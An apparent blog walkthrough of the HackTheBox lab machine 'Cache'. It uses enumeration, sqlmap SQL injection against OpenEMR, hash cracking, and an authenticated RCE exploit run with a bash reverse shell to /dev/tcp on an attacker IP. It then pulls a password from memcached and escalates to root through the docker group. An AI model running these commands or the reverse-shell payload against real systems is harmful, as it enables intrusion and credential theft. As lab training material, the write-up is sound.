Hey hackers! This is Shreya Pohekar and today we are walking through Cache from hackthebox.

Summary:-

Cache is a medium Linux box. The initial foothold on the machine is based on a CVE of openemr which also requires a bit of enumeration to obtain creds. Escalating to the user is pretty simple as the creds to the user will be found at a very early stage. But there are 2 users on the box, each one having its importance. Escalation to root requires exploitation of docker with the help of the 2nd user who is also a member of the docker group.

With all that said, let’s get started!

Starting with the quick port scan, I found 3 open ports

# nmap -sC -sV -oA cache.nmap 10.10.10.188

In the results, I found this weird thing that SimpleHTTPServer is running on port 8000. After rigorous port scan on 8000, it turned out that the port is closed.(lol! False results generated by nmap)

On moving further to http://10.10.10.188 a page loaded.

Under author.html, ash seemed like a probable username. Also at the bottom, there was some hospital management system. [point noted]

Login.html landed up a page. Upon viewing its source code, there was a script functionality.js. It revealed the username and password to be ash and H@v3_fun

I used the credentials to login and got this page that was of no help. So that was the deadend. 

I also ran a gobuster scan but that too didn’t actually help.

So wondering upon previously obtained knowledge, I realized that the hospital management system is the one I should have a look at. Similar to cache.htb, I made an entry to /etc/hosts specifying (since hms was author’s another project)

10.10.10.188 hms.htb

On visiting http://hms.htb , the following login page landed.

Upon googling I found that openemr is medical practice management software. And that 2018 OpenEmr described that the version of the software would be something that was released in 2018. And i found it to be 5.0.1

Alongside manual enumeration, I ran a few gobuster scans to retrieve any useful information.

⚡ root@kali ~/Desktop/htb/cache>> gobuster dir –url http://hms.htb/interface -x php -t 50 -w /usr/share/seclists/Discovery/Web-Content/big.txt -q
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/billing (Status: 301)
/drugs (Status: 301)
/fax (Status: 301)
/forms (Status: 301)
/globals.php (Status: 200)
/index.php (Status: 200)
/language (Status: 301)
/login (Status: 301)
/logout.php (Status: 200)
/main (Status: 301)
/modules (Status: 301)
/new (Status: 301)
/orders (Status: 301)
/pic (Status: 301)
/practice (Status: 301)
/reports (Status: 301)
/super (Status: 301)
/themes (Status: 301)

 ⚡ root@kali  ~/Desktop/htb/cache>>  gobuster dir –url  http://hms.htb/ -x php  -t 50  -w /usr/share/seclists/Discovery/Web-Content/big.txt -q
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/LICENSE (Status: 200)
/admin.php (Status: 200)
/ci (Status: 301)
/cloud (Status: 301)
/common (Status: 301)
/config (Status: 301)
/contrib (Status: 301)
/controller.php (Status: 200)
/controllers (Status: 301)
/custom (Status: 301)
/entities (Status: 301)
/images (Status: 301)
/index.php (Status: 302)
/interface (Status: 301)
/javascript (Status: 301)
/library (Status: 301)
/modules (Status: 301)
/myportal (Status: 301)
/patients (Status: 301)
/portal (Status: 301)
/public (Status: 301)
/repositories (Status: 301)
/server-status (Status: 403)
/services (Status: 301)
/setup.php (Status: 200)
/sites (Status: 301)
/sql (Status: 301)
/templates (Status: 301)
/tests (Status: 301)
/vendor (Status: 301)
/version.php (Status: 200)

With the help of gobuster results, I was able to verify the version of openemr

I searched for the available exploits for the version of openemr and found a few results. Authenticated RCE seemed promising but we needed some creds for the exploit to work. And the creds for ash were not working here(as he was not a valid user)

While searching for openemr exploits, I found a lot of sql injections possible even in the latest versions. So I spawned up sqlmap to find any creds. So I captured the request of http://hms.htb/portal/add_edit_event_user.php?eid=1 in burp and saved it in a file.

Add_edit.req ( sql injection exploits of openemr)

⚡ root@kali  ~/Desktop/htb/cache>>  cat add_edit.req              
GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1
Host: hms.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: OpenEMR=k7uvoa0ide7j70sgj5s6dgohlg; PHPSESSID=85taftptj1v16u04op23b0qnml
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

> sqlmap -r add_edit.req --threads=10 --dbs

To list the tables in the database [there were 234 tables]

> sqlmap -r add_edit.req --threads=10 -D openemr --table

Users_secure seems promising, so lets list its columns

>  sqlmap -r add_edit.req --threads=10 -D openemr -T users_secure --column

Dumping the contents of users_secure

>  sqlmap -r add_edit.req --threads=10 -D openemr -T users_secure --dump

| 1  | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | openemr_admin | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | 2019-11-21 06:38:40 | NULL      | NULL      | NULL          | NULL          |

I finally found the username and password hash.

Hashcat example hashes found the matching pattern for which mode to use

> hashcat -m 3200 openemr_admin.hash /usr/share/wordlists/rockyou.txt --force

The password cracked out to be xxxxxx

Now that we have the creds, authenticated RCE can be performed. You can grab the exploit from here.

Open up a ncat listener on port 1337 using (nc -lnvp 1337) and run the following command

# python 45161.py http://hms.htb/ -u openemr_admin -p xxxxxx -c 'bash -i >& /dev/tcp/10.10.14.99/1337 0>&1'

Do not forget to change the IP that corresponds to your attacking machine.

Grabbing the user.txt

And I got a shell.

There were 2 users of which I had pass for ash, obtained earlier. I tried to su, but it was not a proper shell. 

So I ran the following commands

# export TERM=xterm
# python3 -c 'import pty; pty.spawn("/bin/bash")'

So the user is pwned.

TIme for privilege escalation.

After enumerating with LinEnum.sh (can be found here), I found that there was docker running on the box

I tried to run the docker with ash but the permission was denied

So i listed the contents of /etc/group to see if any user is member of docker group. And yes it was user luffy.

cat /etc/group
Docker:x:999:luffy

Therefore only luffy can execute the docker commands.

Since all the commands in docker require a sudo
Being the member of docker group means the user has password-less access to root. Now the goal was to retrieve the creds of the Luffy. So I again scrolled through the results of enumeration and found out that a port 11211 was active on telnet. And that’s where Memcached works.

If you are unaware of the term, let me explain a bit.

Memcached is basically an open source distributed memory caching system. It speeds up the loading of dynamic web application by reducing the load on the database. So this popular caching solution can be queried for any useful information. 

We can communicate to memcached using telnet

> telnet 127.0.0.1 11211

stats items  # This command gets items statistics such as count, age, eviction, etc. organized by slabs ID

In the output, the number after items: is the slab id (1 in my case). We can request a cache dump for each slab id, with a limit for the max number of keys to dump. This command is gonna output all the keys stored in memcached.

>  stats cachedump 1 100

The value of the key can be obtained with get command.

> get user

> get passwd #retrieves any stored password (passwd is the key)

Password : 0n3_p1ec3

Now as I was logged in as luffy, I could list the docker image.

I searched for privilege escalation with docker and found a link for GTFObins

Since luffy is a member of docker group, running the above command directly priv esc to root.

> docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh

-v : To bind mount a volume
–rm : Automatically remove the container when it exits
-it : Keep STDIN open even if not attached and Allocate a pseudo-TTY
chroot : changes the apparent root directory for the current running process ( here to /mnt)

Thats all for the blog post. 

If you enjoyed reading do like the post.
Until then!! Happy Hunting!!